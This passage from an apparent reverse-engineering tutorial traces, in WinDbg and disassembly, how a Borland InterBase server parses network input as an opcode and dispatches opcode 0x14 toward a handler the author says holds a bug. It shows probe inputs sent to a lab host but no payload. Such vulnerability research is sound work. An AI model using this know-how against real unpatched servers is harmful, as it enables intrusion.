In WinDbg, we set a breakpoint after this loop to make sure all our static assumptions are correct. We can do this by looking at the disassembly and identifying the basic block before the function return.
0x00410FE6        loc_410FE6:                        ; CODE XREF: sub_410E46+14Bj
0x00410FE6 mov     eax, 1
Setting our breakpoint.
0:003> bp 410FE6
0:003> g
Breakpoint 2 hit
eax=00a965d4 ebx=00aa0388 ecx=ffffffff edx=00a965d4 esi=00aa0758 edi=00000000
eip=00410fe6 esp=010efc00 ebp=010efc0c iopl=0         nv up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000286
ibserver+0x10fe6:
00410fe6 b801000000      mov     eax,1
Let's inspect our destination pointer and double check our work.
0:003> kb
ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
010efc0c 00411008 00a965d4 010efc24 00000004 ibserver+0x10fe6
010efc24 00419043 00a965d4 010efc38 00000001 ibserver+0x11008
010efc3c 00412a06 00a965d4 00a9bab4 00000002 ibserver+0x19043
010efdd8 004103c5 00a965d4 00a9bab4 0001b7a4 ibserver+0x12a06
010efdf4 00405205 00a9bdec 00a9bab4 827c7840 ibserver+0x103c5
010eff18 0040411c 00a9bdec 0000005a 00a9bdec ibserver+0x5205
010eff80 77c3a3b0 00000000 00000000 00000000 ibserver+0x411c
010effb4 7c80b50b 00aa0388 00000000 00000000 MSVCRT!endthreadex+0xa9
010effec 00000000 77c3a341 00aa0388 00000000 kernel32!GetModuleFileNameA+0x1b4
0:003> dc 010efc24-4
010efc20  41414141 010efc3c 00419043 00a965d4  AAAA<...C.A..e..
010efc30  010efc38 00000001 00000000 010efdd8  8...............
010efc40  00412a06 00a965d4 00a9bab4 00000002  .*A..e..........
010efc50  fa0a1f00 ffffffff 00000000 00000000  ................
010efc60  0000001c 00000000 00000068 00000000  ........h.......
010efc70  ea0b0002 00000000 00000000 010efd40  ............@...
010efc80  90040002 0101010a 00000028 001468e0  ........(....h..
010efc90  010efcc8 00000000 00000000 00000000  ................
Remember every byte that got copied also incremented the address of the buffer, so we have to subtract the size to display our value. And it appears we are correct. This function calls receive and checks the first dword of the received data. Another observation is that it still has the rest of the data, so what comes after the first dword is important.

Here's another tip. I tend to try and use something besides all "A"s when doing this. The reason for that is if I see my data being accessed i'll know the specific offset of my string im working on. For instance I could have generated a unique string for this instance say starting with "1234" and instantly I would know that all of this was simply copying the first four characters from my data. In many cases the processing of this buffer is complex and identifying the significance of each byte is crucial.

Lets return now that we know we can send up to 0x2000 bytes of data, and the first 4 will be used for something in the future.
0x00411008 add     esp, 0Ch
0x0041100B test    eax, eax
0x0041100D jnz     short loc_411013

0x00411013        loc_411013:                    ; CODE XREF: sub_410FF1+1Cj
0x00411013 mov     ecx, [ebp+netlong]            ; our first dword
0x00411016 push    ecx                           ; netlong
0x00411017 call    ds:ntohl
0x0041101D mov     edx, [ebp+arg_4]
0x00411020 mov     [edx], eax
0x00411022 mov     eax, 1                        ; returning 1!
This seems very straight forward. We make sure our previous function returned 1 (True) and then we flip the bytes to host byte order. In the debugger we see.
eax=00000001 ebx=00aa0388 ecx=ffffffff edx=00a965d4 esi=00aa0758 edi=00000000
eip=00411008 esp=010efc14 ebp=010efc24 iopl=0         nv up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000286
ibserver+0x11008:
00411008 83c40c          add     esp,0Ch
0:003> t
eax=00000001 ebx=00aa0388 ecx=ffffffff edx=00a965d4 esi=00aa0758 edi=00000000
eip=0041100b esp=010efc20 ebp=010efc24 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
ibserver+0x1100b:
0041100b 85c0            test    eax,eax
0:003> t
eax=00000001 ebx=00aa0388 ecx=ffffffff edx=00a965d4 esi=00aa0758 edi=00000000
eip=0041100d esp=010efc20 ebp=010efc24 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ibserver+0x1100d:
0041100d 7504            jne     ibserver+0x11013 (00411013)             [br=1]
0:003> t
eax=00000001 ebx=00aa0388 ecx=ffffffff edx=00a965d4 esi=00aa0758 edi=00000000
eip=00411013 esp=010efc20 ebp=010efc24 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ibserver+0x11013:
00411013 8b4dfc          mov     ecx,dword ptr [ebp-4] ss:0023:010efc20=41414141
0:003> t
eax=00000001 ebx=00aa0388 ecx=41414141 edx=00a965d4 esi=00aa0758 edi=00000000
eip=00411016 esp=010efc20 ebp=010efc24 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ibserver+0x11016:
00411016 51              push    ecx
0:003> t
eax=00000001 ebx=00aa0388 ecx=41414141 edx=00a965d4 esi=00aa0758 edi=00000000
eip=00411017 esp=010efc1c ebp=010efc24 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ibserver+0x11017:
00411017 ff1550145a00    call    dword ptr [ibserver+0x1a1450 (005a1450)] 005a1450={WS2_32!ntohl (71ab2bc0)}
0:003> p
eax=41414141 ebx=00aa0388 ecx=00004141 edx=00004141 esi=00aa0758 edi=00000000
eip=0041101d esp=010efc20 ebp=010efc24 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
ibserver+0x1101d:
0041101d 8b550c          mov     edx,dword ptr [ebp+0Ch] ss:0023:010efc30=010efc38
0:003> t
eax=41414141 ebx=00aa0388 ecx=00004141 edx=010efc38 esi=00aa0758 edi=00000000
eip=00411020 esp=010efc20 ebp=010efc24 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
ibserver+0x11020:
00411020 8902            mov     dword ptr [edx],eax  ds:0023:010efc38=00000000
0:003> t
eax=41414141 ebx=00aa0388 ecx=00004141 edx=010efc38 esi=00aa0758 edi=00000000
eip=00411022 esp=010efc20 ebp=010efc24 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
ibserver+0x11022:
00411022 b801000000      mov     eax,1
0:003> t
Ahh so this is cool, but remember when I mentioned having a unique pattern and how super helpful it can be? Heres the call again with "1234" at the beginning.
C:\>ibserver.py 10.1.1.132 3050
[*] Connecting to [10.1.1.132:3050]
[*] Sending [1234AAAAAAAAAAAAAAAA]
[*] Closing socket

C:\>
eax=00000001 ebx=00aa0388 ecx=ffffffff edx=00a908d4 esi=00aa0758 edi=00000000
eip=00411013 esp=010efc20 ebp=010efc24 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ibserver+0x11013:
00411013 8b4dfc          mov     ecx,dword ptr [ebp-4] ss:0023:010efc20=34333231
0:003> t
eax=00000001 ebx=00aa0388 ecx=34333231 edx=00a908d4 esi=00aa0758 edi=00000000
eip=00411016 esp=010efc20 ebp=010efc24 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ibserver+0x11016:
00411016 51              push    ecx
0:003> t
eax=00000001 ebx=00aa0388 ecx=34333231 edx=00a908d4 esi=00aa0758 edi=00000000
eip=00411017 esp=010efc1c ebp=010efc24 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ibserver+0x11017:
00411017 ff1550145a00    call    dword ptr [ibserver+0x1a1450 (005a1450)] 005a1450={WS2_32!ntohl (71ab2bc0)}
0:003> p
eax=31323334 ebx=00aa0388 ecx=00003433 edx=00003334 esi=00aa0758 edi=00000000
eip=0041101d esp=010efc20 ebp=010efc24 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ibserver+0x1101d:
0041101d 8b550c          mov     edx,dword ptr [ebp+0Ch] ss:0023:010efc30=010efc38
0:003> t
So that seems a little easier to see as opposed to 0x41414141. Continuing on we know that the bytes get flipped as we would expect. We also saw our return value being set to True which is cool.

The function we return too is pretty simple. Nothing to talk about except the fact we see our first four bytes of data being copied to a dword pointer that was passed to this function. Also we are returning True since the previous function succeeded as well. Im starting to think that first dword is important :)
eax=00000001 ebx=00aa0388 ecx=00003433 edx=010efc38 esi=00aa0758 edi=00000000
eip=00419043 esp=010efc2c ebp=010efc3c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ibserver+0x19043:
00419043 83c408          add     esp,8
0:003> t
eax=00000001 ebx=00aa0388 ecx=00003433 edx=010efc38 esi=00aa0758 edi=00000000
eip=00419046 esp=010efc34 ebp=010efc3c iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
ibserver+0x19046:
00419046 85c0            test    eax,eax
0:003> t
eax=00000001 ebx=00aa0388 ecx=00003433 edx=010efc38 esi=00aa0758 edi=00000000
eip=00419048 esp=010efc34 ebp=010efc3c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ibserver+0x19048:
00419048 7504            jne     ibserver+0x1904e (0041904e)             [br=1]
0:003> t
eax=00000001 ebx=00aa0388 ecx=00003433 edx=010efc38 esi=00aa0758 edi=00000000
eip=0041904e esp=010efc34 ebp=010efc3c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ibserver+0x1904e:
0041904e 8b450c          mov     eax,dword ptr [ebp+0Ch] ss:0023:010efc48=00a8be68
0:003> t
eax=00a8be68 ebx=00aa0388 ecx=00003433 edx=010efc38 esi=00aa0758 edi=00000000
eip=00419051 esp=010efc34 ebp=010efc3c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ibserver+0x19051:
00419051 8b4dfc          mov     ecx,dword ptr [ebp-4] ss:0023:010efc38=31323334
0:003> t
eax=00a8be68 ebx=00aa0388 ecx=31323334 edx=010efc38 esi=00aa0758 edi=00000000
eip=00419054 esp=010efc34 ebp=010efc3c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ibserver+0x19054:
00419054 8908            mov     dword ptr [eax],ecx  ds:0023:00a8be68=00000000
0:003> t
eax=00a8be68 ebx=00aa0388 ecx=31323334 edx=010efc38 esi=00aa0758 edi=00000000
eip=00419056 esp=010efc34 ebp=010efc3c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ibserver+0x19056:
00419056 b801000000      mov     eax,1
Continuing on! Now we are getting somewhere. Here is a high level look (cropped) at the graph of said function.



This function appears to take our dword value, compare it against some constants, and then call through a function table depending on what value we have supplied. As you can tell, this is a command processing function of sorts, so let's look at how our dword gets evaluated.
0x00412A4D mov     edx, [ebp+our_dword_ptr]
0x00412A50 mov     eax, [edx]                        ; 31323334
0x00412A52 mov     [ebp+local_dword], eax
0x00412A55 cmp     [ebp+local_dword], 4
0x00412A59 jz      loc_412B7D
0x00412A59 
0x00412A5F cmp     [ebp+local_dword], 47h
0x00412A63 jz      loc_412B7D
0x00412A63 
0x00412A69 cmp     [ebp+local_dword], 6
0x00412A6D jz      loc_412B7D
0x00412A6D 
0x00412A73 cmp     [ebp+local_dword], 3
0x00412A77 jz      loc_412B7D
0x00412A77 
0x00412A7D cmp     [ebp+local_dword], 5Bh
0x00412A81 jz      loc_412B7D
0x00412A81 
0x00412A87 cmp     [ebp+local_dword], 1
0x00412A8B jz      loc_412B7D
0x00412A8B 
0x00412A91 cmp     [ebp+local_dword], 13h
0x00412A95 jz      loc_412B7D
0x00412A95 
0x00412A9B cmp     [ebp+local_dword], 14h
0x00412A9F jz      loc_412B7D
0x00412A9F 
0x00412AA5 cmp     [ebp+local_dword], 52h
0x00412AA9 jz      loc_412B7D
0x00412AA9 
0x00412AAF cmp     [ebp+local_dword], 36h
0x00412AB3 jz      loc_412B7D
Well now, isn't that unfortunate for us. It appears we must supply one of these values before we can proceed. What's happening is our dword is being checked against these static values and since we never match, we never make it further. However if you keep tracing there is an interesting piece of info we gather from the error the process throws.
0x00412B4C mov     ecx, [ebp+local_dword]
0x00412B4F push    ecx
0x00412B50 push    offset str__ProtocolXdr_protocolO ; "PROTOCOL/xdr_protocol: opcode %d has no"...
0x00412B55 lea     edx, [ebp+var_174]
0x00412B5B push    edx                               ; char *
0x00412B5C call    ds:__imp_sprintf
Ohhh look! It's printing an error message related to xdr protocol parsing. And the first argument to that is labeled "opcode". So now we know our first dword is (as you probably guessed) some sort of opcode. Also since we know this message is going somewhere i'll check the Borland logfile! Also I would be checking the arguments to the insecure sprintf as well...but Ill leave that as an exercise for the reader ;)
C:\Program Files\Borland\InterBase\interbase.log:

BORLANDIB2007 (Server)  Fri Jul 20 14:45:59 2007
PROTOCOL/xdr_protocol: opcode 825373492 has no context, client host = UNKNOWN 
    connection name = BORLANDIB2007 user name = UNKNOWN
Go python!
>>> print "%x" % 825373492
31323334
>>>
So there we are. We know the first 4 bytes are an opcode. We also know that it can only be a limited set of opcodes. So let's go back and change our script to send a valid opcode. I will use 0x14 because I know thats where the bug is (you could obviously write a quick nasty fuzzer to cycle through these opcodes).
C:\>ibserver.py 10.1.1.132 3050
[*] Connecting to [10.1.1.132:3050]
[*] Sending ['\x00\x00\x00\x14AAAAAAAAAAAAAAAA']
[*] Closing socket

C:\>
Ive set a break point on our target so I can continue where I left off.
0:006> bp 00412A9B
0:006> g
Breakpoint 0 hit
eax=00000014 ebx=00aa0388 ecx=00000000 edx=00a87790 esi=00aa0758 edi=00000000
eip=00412a9b esp=010efc4c ebp=010efdd8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ibserver+0x12a9b:
00412a9b 837d8c14        cmp     dword ptr [ebp-74h],14h ss:0023:010efd64=00000014
0:003> t
eax=00000014 ebx=00aa0388 ecx=00000000 edx=00a87790 esi=00aa0758 edi=00000000
eip=00412a9f esp=010efc4c ebp=010efdd8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ibserver+0x12a9f:
00412a9f 0f84d8000000    je      ibserver+0x12b7d (00412b7d)             [br=1]
0:003> t
eax=00000014 ebx=00aa0388 ecx=00000000 edx=00a87790 esi=00aa0758 edi=00000000
eip=00412b7d esp=010efc4c ebp=010efdd8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ibserver+0x12b7d:
00412b7d 8b4d0c          mov     ecx,dword ptr [ebp+0Ch] ss:0023:010efde4=00a87790
Back in the saddle, yeehaw! The next basic block is straight forward.
0x00412B7D mov     ecx, [ebp+our_dword_ptr]
0x00412B80 mov     edx, [ecx]
0x00412B82 mov     [ebp+var_18C], edx
0x00412B88 mov     eax, [ebp+var_18C]
0x00412B8E sub     eax, 1
0x00412B91 mov     [ebp+var_18C], eax
0x00412B97 cmp     [ebp+var_18C], 5Ch
0x00412B9E ja      loc_41408F
We take our opcode and decrement it by one. Then it's checked to make sure it's not over the opcode limit of 0x5c. We're good to go since we are at 0x13 right now. Moving on we see
0x00412BA4 mov     edx, [ebp+var_18C]
0x00412BAA xor     ecx, ecx
0x00412BAC mov     cl, ds:byte_414131[edx]
0x00412BB2 jmp     ds:off_414095[ecx*4]
This is actually what our switch statement has been compiled down to. It is simply taking the opcode we supplied, getting an index from the global switch table, and jumping to that index in the binary. This contains a mix of byte arrays and function arrays as can be seen by the "byte_414131[edx]" and "off_414095[ecx*4]". Our byte array appears like this
0x00414131 byte_414131 db 0                         ; DATA XREF: sub_4129F0+1BCr
0x00414132         db 26h
0x00414133         db 1
0x00414134         db    2
0x00414135         db  26h ; &
0x00414136         db    2
0x00414137         db  26h ; &
0x00414138         db  26h ; &
0x00414139         db    3
0x0041413A         db  26h ; &
0x0041413B         db  26h ; &
0x0041413C         db  26h ; &
0x0041413D         db  26h ; &
0x0041413E         db  26h ; &
0x0041413F         db  26h ; &
0x00414140         db  26h ; &
0x00414141         db  26h ; &              
0x00414142         db  26h ; &
0x00414143         db    4
0x00414144         db    4
We can calculate that taken byte array 0x00414131[0x13] will equate to 0x00414144
0x00414131 + 0x13 == 00414144
If we look that up in the table we have "db 4". So in the following table we will be accessing the 4th dword. off_414095[] is below (Slightly truncated).
0x00414095 off_414095 dd offset loc_412BC3          ; DATA XREF: sub_4129F0+1C2r
0x00414099         dd offset loc_412D5F
0x0041409D         dd offset loc_412BB9
0x004140A1         dd offset loc_413099
0x004140A5         dd offset loc_412E68
0x004140A9         dd offset loc_4134FD
0x004140AD         dd offset loc_412ED5
0x004140B1         dd offset loc_412F24
0x004140B5         dd offset loc_412FCD
0x004140B9         dd offset loc_413390
0x004140BD         dd offset loc_413268
0x004140C1         dd offset loc_4132B7
0x004140C5         dd offset loc_4133DF
0x004140C9         dd offset loc_41357D
0x004140CD         dd offset loc_413626
So we can access this easily
jmp     ds:off_414095[0x04*4]
0x00414095 + (0x04 * 4) == 0x004140A5 
If we look that up in the table we get the offset location "dd offset loc_412E68". My bet is that's where we are headed to.
eax=00000013 ebx=00aa0388 ecx=00a96240 edx=00000014 esi=00aa0758 edi=00000000
eip=00412ba4 esp=010efc4c ebp=010efdd8 iopl=0         nv up ei ng nz ac pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000297
ibserver+0x12ba4:
00412ba4 8b9574feffff    mov     edx,dword ptr [ebp-18Ch] ss:0023:010efc4c=00000013
0:003> t
eax=00000013 ebx=00aa0388 ecx=00a96240 edx=00000013 esi=00aa0758 edi=00000000
eip=00412baa esp=010efc4c ebp=010efdd8 iopl=0         nv up ei ng nz ac pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000297
ibserver+0x12baa:
00412baa 33c9            xor     ecx,ecx
0:003> t
eax=00000013 ebx=00aa0388 ecx=00000000 edx=00000013 esi=00aa0758 edi=00000000
eip=00412bac esp=010efc4c ebp=010efdd8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ibserver+0x12bac:
00412bac 8a8a31414100    mov     cl,byte ptr ibserver+0x14131 (00414131)[edx] ds:0023:00414144=04
0:003> t
eax=00000013 ebx=00aa0388 ecx=00000004 edx=00000013 esi=00aa0758 edi=00000000
eip=00412bb2 esp=010efc4c ebp=010efdd8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ibserver+0x12bb2:
00412bb2 ff248d95404100  jmp     dword ptr ibserver+0x14095 (00414095)[ecx*4] ds:0023:004140a5=00412e68
0:003> t
eax=00000013 ebx=00aa0388 ecx=00000004 edx=00000013 esi=00aa0758 edi=00000000
eip=00412e68 esp=010efc4c ebp=010efdd8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ibserver+0x12e68:
00412e68 8b4d0c          mov     ecx,dword ptr [ebp+0Ch] ss:0023:010efde4=00a96240
Good ole WinDbg, handling the mess for us. Regardless, being able to find these offsets statically is a useful skill to have, I suppose. When we take the jump we find a few basic blocks. These three basic blocks call a function, check the return code for true or false and either continue or return false from the function. With what we have seen previously, we can almost be certain that we must make it through these functions to the basic block that returns 1 (true) for us. With that said, we can see the first basic block contains a call to a previously reversed function.
0x00412E68 mov     ecx, [ebp+our_dword_ptr]
0x00412E6B add     ecx, 130h
0x00412E71 mov     [ebp+our_buffer], ecx
0x00412E74 mov     edx, [ebp+our_buffer]
0x00412E77 push    edx
0x00412E78 mov     eax, [ebp+recv_info_struct]
0x00412E7B push    eax
0x00412E7C call    get_next_4_bytes
0x00412E7C 
0x00412E81 add     esp, 8
0x00412E84 test    eax, eax
0x00412E86 jnz     short loc_412E8F
I have labeled this function get_next_4_bytes because as we have seen before thats pretty much what it does. Although this function reads 4 bytes from the user only the low two are kept as can be seen by the debugger.
eax=00000013 ebx=00aa0388 ecx=00000004 edx=00000013 esi=00aa0758 edi=00000000
eip=00412e68 esp=010efc4c ebp=010efdd8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ibserver+0x12e68:
00412e68 8b4d0c          mov     ecx,dword ptr [ebp+0Ch] ss:0023:010efde4=00a8345c
0:003> t
eax=00000013 ebx=00aa0388 ecx=00a8345c edx=00000013 esi=00aa0758 edi=00000000
eip=00412e6b esp=010efc4c ebp=010efdd8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ibserver+0x12e6b:
00412e6b 81c130010000    add     ecx,130h
0:003> t
eax=00000013 ebx=00aa0388 ecx=00a8358c edx=00000013 esi=00aa0758 edi=00000000
eip=00412e71 esp=010efc4c ebp=010efdd8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ibserver+0x12e71:
00412e71 894dc8          mov     dword ptr [ebp-38h],ecx ss:0023:010efda0=71ab3f2d
0:003> t
eax=00000013 ebx=00aa0388 ecx=00a8358c edx=00000013 esi=00aa0758 edi=00000000
eip=00412e74 esp=010efc4c ebp=010efdd8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ibserver+0x12e74:
00412e74 8b55c8          mov     edx,dword ptr [ebp-38h] ss:0023:010efda0=00a8358c
0:003> t
eax=00000013 ebx=00aa0388 ecx=00a8358c edx=00a8358c esi=00aa0758 edi=00000000
eip=00412e77 esp=010efc4c ebp=010efdd8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ibserver+0x12e77:
00412e77 52              push    edx
0:003> t
eax=00000013 ebx=00aa0388 ecx=00a8358c edx=00a8358c esi=00aa0758 edi=00000000
eip=00412e78 esp=010efc48 ebp=010efdd8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ibserver+0x12e78:
00412e78 8b4508          mov     eax,dword ptr [ebp+8] ss:0023:010efde0=00a8810c
0:003> t
eax=00a8810c ebx=00aa0388 ecx=00a8358c edx=00a8358c esi=00aa0758 edi=00000000
eip=00412e7b esp=010efc48 ebp=010efdd8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ibserver+0x12e7b:
00412e7b 50              push    eax
0:003> t
eax=00a8810c ebx=00aa0388 ecx=00a8358c edx=00a8358c esi=00aa0758 edi=00000000
eip=00412e7c esp=010efc44 ebp=010efdd8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ibserver+0x12e7c:
00412e7c e808640000      call    ibserver+0x19289 (00419289)
0:003> p
eax=00000001 ebx=00aa0388 ecx=00004142 edx=010efc38 esi=00aa0758 edi=00000000
eip=00412e81 esp=010efc44 ebp=010efdd8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ibserver+0x12e81:
00412e81 83c408          add     esp,8
0:003> dc 00a8358c  
00a8358c  00004748 00000000 00000000 00000000  HG..............
00a8359c  00000000 00000000 00000000 00000000  ................
00a835ac  00000000 00000000 00000000 00000000  ................
00a835bc  00000000 00000000 00000000 00000000  ................
00a835cc  00000000 00000000 00000000 00000000  ................
00a835dc  00000000 00000000 00000000 00000000  ................
00a835ec  00000000 00000000 00000000 00000000  ................
00a835fc  00000000 00000000 00000000 00000000  ................
Since we seem to have returned true, we won't worry to much about this data. Continuing on, we hit another function in the next basic block after we successfully jump. We are going to keep an eye on the arguments to it and skip the function checking the return code.
eax=00000001 ebx=00aa0388 ecx=00004748 edx=010efc38 esi=00aa0758 edi=00000000
eip=00412e8f esp=010efc4c ebp=010efdd8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ibserver+0x12e8f:
00412e8f 8b4dc8          mov     ecx,dword ptr [ebp-38h] ss:0023:010efda0=00a82fb8
0:003> t
eax=00000001 ebx=00aa0388 ecx=00a82fb8 edx=010efc38 esi=00aa0758 edi=00000000
eip=00412e92 esp=010efc4c ebp=010efdd8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ibserver+0x12e92:
00412e92 83c104          add     ecx,4
0:003> t
We can see here ecx is our previous buffer, where the last function copied the low 2 bytes of user data into. We are adding 4 here to skip to the next dword in this buffer.
eax=00000001 ebx=00aa0388 ecx=00a82fbc edx=010efc38 esi=00aa0758 edi=00000000
eip=00412e95 esp=010efc4c ebp=010efdd8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ibserver+0x12e95:
00412e95 51              push    ecx
0:003> dc ecx
00a82fbc  00000000 00000000 00000000 00000000  ................
00a82fcc  00000000 00000000 00000000 00000000  ................
00a82fdc  00000000 00000000 00000000 00000000  ................
00a82fec  00000000 00000000 00000000 00000000  ................
00a82ffc  00000000 00000000 00000000 00000000  ................
00a8300c  00000000 00000000 00000000 00000000  ................
00a8301c  00000000 00000000 00000000 00000000  ................
00a8302c  00000000 00000000 00000000 00000000  ................
0:003> dc ecx-4
00a82fb8  00004748 00000000 00000000 00000000  HG..............
00a82fc8  00000000 00000000 00000000 00000000  ................
00a82fd8  00000000 00000000 00000000 00000000  ................
00a82fe8  00000000 00000000 00000000 00000000  ................
00a82ff8  00000000 00000000 00000000 00000000  ................
00a83008  00000000 00000000 00000000 00000000  ................
00a83018  00000000 00000000 00000000 00000000  ................
00a83028  00000000 00000000 00000000 00000000  ................
0:003> t
Like we thought, this is the buffer we will check after we hop the subsequent function call.
eax=00000001 ebx=00aa0388 ecx=00a82fbc edx=010efc38 esi=00aa0758 edi=00000000
eip=00412e96 esp=010efc48 ebp=010efdd8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ibserver+0x12e96:
00412e96 8b5508          mov     edx,dword ptr [ebp+8] ss:0023:010efde0=00a88134
0:003> t
eax=00000001 ebx=00aa0388 ecx=00a82fbc edx=00a88134 esi=00aa0758 edi=00000000
eip=00412e99 esp=010efc48 ebp=010efdd8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ibserver+0x12e99:
00412e99 52              push    edx
0:003> t
eax=00000001 ebx=00aa0388 ecx=00a82fbc edx=00a88134 esi=00aa0758 edi=00000000
eip=00412e9a esp=010efc44 ebp=010efdd8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ibserver+0x12e9a:
00412e9a e8a1130000      call    ibserver+0x14240 (00414240)
0:003> p
eax=00000001 ebx=00aa0388 ecx=00000000 edx=00a82fbc esi=00aa0758 edi=00000000
eip=00412e9f esp=010efc44 ebp=010efdd8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ibserver+0x12e9f:
00412e9f 83c408          add     esp,8
0:003> dc 00a82fb8
00a82fb8  00004748 43444344 00a83d6c 00000000  HG..DCDCl=......
00a82fc8  00000000 00000000 00000000 00000000  ................
00a82fd8  00000000 00000000 00000000 00000000  ................
00a82fe8  00000000 00000000 00000000 00000000  ................
00a82ff8  00000000 00000000 00000000 00000000  ................
00a83008  00000000 00000000 00000000 00000000  ................
00a83018  00000000 00000000 00000000 00000000  ................
00a83028  00000000 00000000 00000000 00000000  ................
0:003> t
Ok here we have skipped the function. It has returned true (good for us!) and we can check that location in memory that we previously discussed. It seems as though this function also reads 4 bytes of user data, only keeps the low 2 bytes, but differing from the previous it stores those 2 bytes twice. Our original string was 0x41424344, again keep in mind the benefit of using non-repeating characters in your user supplied input. Oh well if the function returned true we will just store this in the back of our head and continue on.
eax=00000001 ebx=00aa0388 ecx=00000000 edx=00a82fbc esi=00aa0758 edi=00000000
eip=00412ea2 esp=010efc4c ebp=010efdd8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ibserver+0x12ea2:
00412ea2 85c0            test    eax,eax
0:003> t
eax=00000001 ebx=00aa0388 ecx=00000000 edx=00a82fbc esi=00aa0758 edi=00000000
eip=00412ea4 esp=010efc4c ebp=010efdd8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ibserver+0x12ea4:
00412ea4 7507            jne     ibserver+0x12ead (00412ead)             [br=1]
0:003> t
eax=00000001 ebx=00aa0388 ecx=00000000 edx=00a82fbc esi=00aa0758 edi=00000000
eip=00412ead esp=010efc4c ebp=010efdd8 iopl=0         nv up ei pl nz na po nc
